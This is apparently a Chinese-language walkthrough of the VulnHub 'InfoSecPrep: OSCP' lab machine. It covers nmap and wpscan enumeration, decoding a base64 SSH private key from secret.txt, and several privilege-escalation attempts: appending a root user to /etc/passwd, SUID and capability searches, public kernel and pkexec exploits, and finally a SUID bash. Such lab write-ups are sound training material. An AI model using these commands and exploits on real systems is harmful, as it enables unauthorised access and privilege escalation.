文章目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 探查ssh
- 4.2 探查Apache
- 4.2.1 爆破admin
- 4.2.2 利用secret.txt
- 5. 提权
- 5.1 枚举主机信息
- 5.2 查看passwd文件
- 5.3 枚举定时任务
- 5.4 枚举可执行文件
- 5.5 查看EXP
- 5.6 Capabilities位
- 5.7 Linpeas提权
靶机地址:https://download.vulnhub.com/infosecprep/oscp.zip
1. 主机发现
目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24
锁定靶机地址为141。
2. 端口扫描
通过下面的命令进行端口扫描。
$ sudo nmap -p 1-1000 192.168.232.141
$ sudo nmap -p 1001-65535 192.168.232.141
开放的端口也不少,枚举一下端口上的服务。
3. 服务枚举
通过下面的命令枚举一下端口上运行的服务。
$ sudo nmap -p22,80,33060 -A -sV -sT 192.168.232.141
4. 服务探查
看了上面枚举出来的内容,还没有太多收获,探查一下每个端口上的服务看看。
4.1 探查ssh
直接看看这个ssh版本有没有合适的EXP,没有就直接跳过。
4.2 探查Apache
先通过searchsploit搜索一下看看。
从输出结果来看,只有一个缓冲区溢出的EXP貌似可用,先放一边,用浏览器访问一下。
是一个页面,从内容来看,貌似是一个WordPress的站点。
也有login之类的链接,还可以回复内容(这里可能可以构建反弹shell),如下图所示。
先枚举一下目录再说。
$ dirsearch -u http://192.168.232.141/
枚举出了不少的内容,先进入登录页面看看。
这个页面可以进行用户枚举,admin用户是存在的。既然有WordPress,就用wpscan扫描一下试试看。
$ wpscan --update
$ wpscan --url http://192.168.232.141/
扫出来了一些东西,但是感觉价值没有想象中的大。这里有个robots.txt文件,内容如下。
根目录下有个secret.txt文件是不允许爬取的,手工访问一下试试看。
竟然是个密钥文件,等会儿试试,说不定可以用于ssh登录。下面是XML-RPC服务的情况。
接下来searchsploit搜索一下WordPress 5.4.2版本有没有合适的EXP,遗憾的是没有合适的,基本都是跟插件有关的漏洞,而且我们目前通过wpscan扫描结果中是不含插件的。再试试大杀器metasploit试试看。
貌似第一个,xmlrpc跟我们wpscan搜索出来的第一条很像,使用一下看看。
没法创建反弹shell,暂时放弃。感觉无计可施了,下面干两件事:第一,admin密码爆破一把;第二,想办法看看怎么用前面发现的那个类似密钥的secret.txt文件中的内容登录shell。
4.2.1 爆破admin
直接在burp上挂载rockyou爆破admin用户。
爆破半天都是失败的,暂时放弃。
4.2.2 利用secret.txt
要想利用secret.txt,得先确定通过什么账号ssh到靶机,随便先用root试一下。
嗯,这说明靶机禁用了密码登录,看来只有通过密钥登录,跟我们的猜测有些不谋而合啊,试试吧。首先在~/.ssh/id_rsa的文件,文件内容就是secret.txt的内容,不多赘述。
接下来,见证奇迹的时刻。
$ ssh root@192.168.232.141 -i ~/.ssh/id_rsa
嗯,私钥的权限太大,修改一下。
$ chmod 600 ~/.ssh/id_rsa
看来我们考虑的是对的,这个不太可能是root的私约,我们仔细看看站点,登录的用户名可能是谁。
有点意思,这个帖子里说这个靶机的唯一用户是oscp,试试看吧。
会不会这个证书不是用来ssh登录的,手工生成一个ssh登录的密钥试试看。
完全不一样啊,难道这样就结束了?不应该的,按照靶机的尿性,这个secret一定是有用的。先通过identifier看看这是个什么样的东西。
$ hash-identifier "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVE.....”
结果啥都没发现,不知道是不是换行的原因,弄成一行试试。
还是不行,但是总感觉像是编码过的,死马当活马医,base64试试看。
哈,还真是,base64解码以后,更像是一个密钥了,并且开头结尾明确写了,openssh私钥,这下应该妥了。重新做成~/.ssh/id_rsa文件,再次尝试登录。
$ chmod 600 ~/.ssh/id_rsa
$ ssh oscp@192.168.232.141 -i ~/.ssh/id_rsa
确实成功登录了,边界已经突破,下一步提权。
5. 提权
优化一下ssh。
$ /usr/bin/python3.8 -c "import pty;pty.spawn('/bin/bash')"
5.1 枚举主机信息
$ uname -a
$ cat /etc/*-release
64位的Ubuntu 20.04。
5.2 查看passwd文件
$ cat /etc/passwd
尝试写入一个用户。
$ openssl passwd test123
$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd
有写保护,写入用户失败。
5.3 枚举定时任务
$ cat /etc/crontab
没有可以利用的。
5.4 枚举可执行文件
$ sudo –l
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
$ find / -user root -perm -4000 2>/dev/null
好像也没有发现太有用的信息。
5.5 查看EXP
根据系统和内核版本,查一下searchsploit。
Ubuntu 20.04没有合适的,看一下内核版本。
貌似有两个提权的EXP跟我们的内核有关系,逐个试试看。
$ gcc -static -o 50135 50135.c
第一个失败,再看看第二个。
$ gcc -o 41886 41886.c
出错,在老版linux内核上编译一下,结果几个linux内核上都报如下的错误,放弃。
5.6 Capabilities位
试一下上次打靶的capabilities位提权的方法。
$ /usr/sbin/getcap -r / 2>/dev/null
没有合适的。
5.7 Linpeas提权
第一个仍然是sudo。
搜索一下EXP。
利用一下试试看。
仍然是需要oscp用户的密码,继续往下看。
有个CVE-2022-2586漏洞,EXP在https://www.openwall.com/lists/oss-security/2022/08/29/5/1。试一下
。
$ gcc 1.c -o 1 -lmnl -lnftnl -no-pie -lpthread
无法编译,继续下一个CVE-2021-4034,EXP在https://codeload.github.com/berdav/CVE-2021-4034/zip/main
。
$ unzip main.zip
$ cd CVE-2021-4034-main
$ make
这时候目录下会生成一个名为cve-2021-4034的可执行文件,上传到靶机,执行一下。
$ chmod u+x cve-2021-4034
还是有些问题,在老的系统试一下,可惜的是在两个老版本的机器上都出现如下的错误。
接下来试一下CVE-2021-22555,EXP地址为https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
。
继续往下,发现具备SUID权限的可执行程序中有个/usr/bin/bash。
这下好了,直接用bash提权。
$ bash -p
这是发现命令提示符由$变成了#,应该是提权成功,进一步验证一下。
确实成功了,直接找一下flag。
提权成功。